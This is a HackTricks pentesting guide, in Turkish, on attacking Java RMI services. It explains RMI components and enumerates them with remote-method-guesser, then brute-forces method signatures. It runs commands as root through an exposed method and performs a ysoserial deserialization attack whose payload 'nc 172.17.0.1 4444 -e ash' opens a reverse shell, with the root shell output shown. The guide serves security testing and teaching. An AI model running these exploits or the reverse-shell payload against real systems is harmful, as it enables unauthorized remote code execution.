hacktricks/src/network-services-pentesting/1099-pentesting-java-rmi.md

297 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
_Java Remote Method Invocation_ veya _Java RMI_, bir _Java sanal makinesi_ içinde bulunan bir nesnenin, başka bir _Java sanal makinesi_ içinde bulunan bir nesne üzerindeki yöntemleri çağırmasına olanak tanıyan nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir perspektiften _Java RMI_ hakkında kısa bir tanıtım [bu blackhat konuşmasında](https://youtu.be/t_aw1mDNhzI?t=202) bulunabilir.
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) yaygın portlara bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzaktan nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele portlara bağlanır.
_nmap_, bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluklar yaşayabilir. Yaygın bir _RMI_ portunda bilinmeyen bir ssl hizmeti ile karşılaşırsanız, daha fazla araştırma yapmalısınız.
## RMI Bileşenleri
Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir _TCP_ portu açar. Bu basit gibi görünse de, _Java RMI_'nin çözmesi gereken birkaç zorluk vardır:
1. _Java RMI_ aracılığıyla bir yöntem çağrısını iletmek için, istemcilerin IP adresini, dinleme portunu, uygulanan sınıfı veya arayüzü ve hedef nesnenin `ObjID`'sini bilmesi gerekir ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, birden fazla nesnenin aynı _TCP_ portunda dinlemesine izin verdiği için gereklidir).
2. Uzaktan istemciler, maruz bırakılan nesne üzerinde yöntemleri çağırarak sunucuda kaynak ayırabilir. _Java sanal makinesi_, bu kaynaklardan hangilerinin hala kullanıldığını ve hangilerinin çöp toplanabileceğini takip etmelidir.
İlk zorluk, temelde _Java RMI_ için bir adlandırma hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_dir, ancak uygulanan arayüz ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmelerine olanak tanır.
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad (bağlı ad) altında kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve kayıt, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Yukarıda bahsedilen zorlukların ikincisi _Distributed Garbage Collector_ (_DGC_) tarafından çözülmektedir. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_dir ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzaktan nesne_nin kullanıldığını _DGC_'ye bildirir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
Eski _Activation System_ ile birlikte, bunlar _Java RMI_'nin üç varsayılan bileşenidir:
1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
_Varsayılan bileşenler_ _Java RMI_'nin bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla güvenlik açığı bulunmaktadır. Bir saldırgan perspektifinden, bu varsayılan bileşenler ilginçtir çünkü bilinen sınıfları / arayüzleri uygulamışlardır ve onlarla etkileşimde bulunmak oldukça kolaydır. Bu durum, özel _RMI servisleri_ için farklıdır. Bir _uzaktan nesne_ üzerinde bir yöntemi çağırmak için, ilgili yöntem imzasını önceden bilmeniz gerekir. Mevcut bir yöntem imzasını bilmeden, bir _RMI servisi_ ile iletişim kurmanın bir yolu yoktur.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) otomatik olarak yaygın _RMI güvenlik açıklarını_ tanımlama yeteneğine sahip bir _Java RMI_ güvenlik açığı tarayıcısıdır. Bir _RMI_ uç noktası tanımladığınızda, denemelisiniz:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Enumeration eyleminin çıktısı, projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha ayrıntılı olarak açıklanmaktadır. Sonuca bağlı olarak, tespit edilen zafiyetleri doğrulamaya çalışmalısınız.
_remote-method-guesser_ tarafından görüntülenen `ObjID` değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetlerin tanımlanmasına olanak tanıyabilir:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Uzak Yöntemleri Bruteforce Etme
Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli işlevler açığa çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerindeki geçerli yöntem imzalarını bilmek değerlidir.
Ne yazık ki, _Java RMI_ uzak nesnelerdeki yöntemleri listelemeyi desteklememektedir. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Tanımlanan yöntemler şu şekilde çağrılabilir:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Ya da deserialization saldırılarını şu şekilde gerçekleştirebilirsiniz:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Daha fazla bilgi bu makalelerde bulunabilir:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bound name_ ve uygulanan sınıf veya arayüzün adı burada yardımcı olabilir.
## Bilinen Arayüzler
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_ veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
- `port:1099 java`
## Araçlar
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Referanslar
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Otomatik Komutlar
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
{{#include ../banners/hacktricks-training.md}}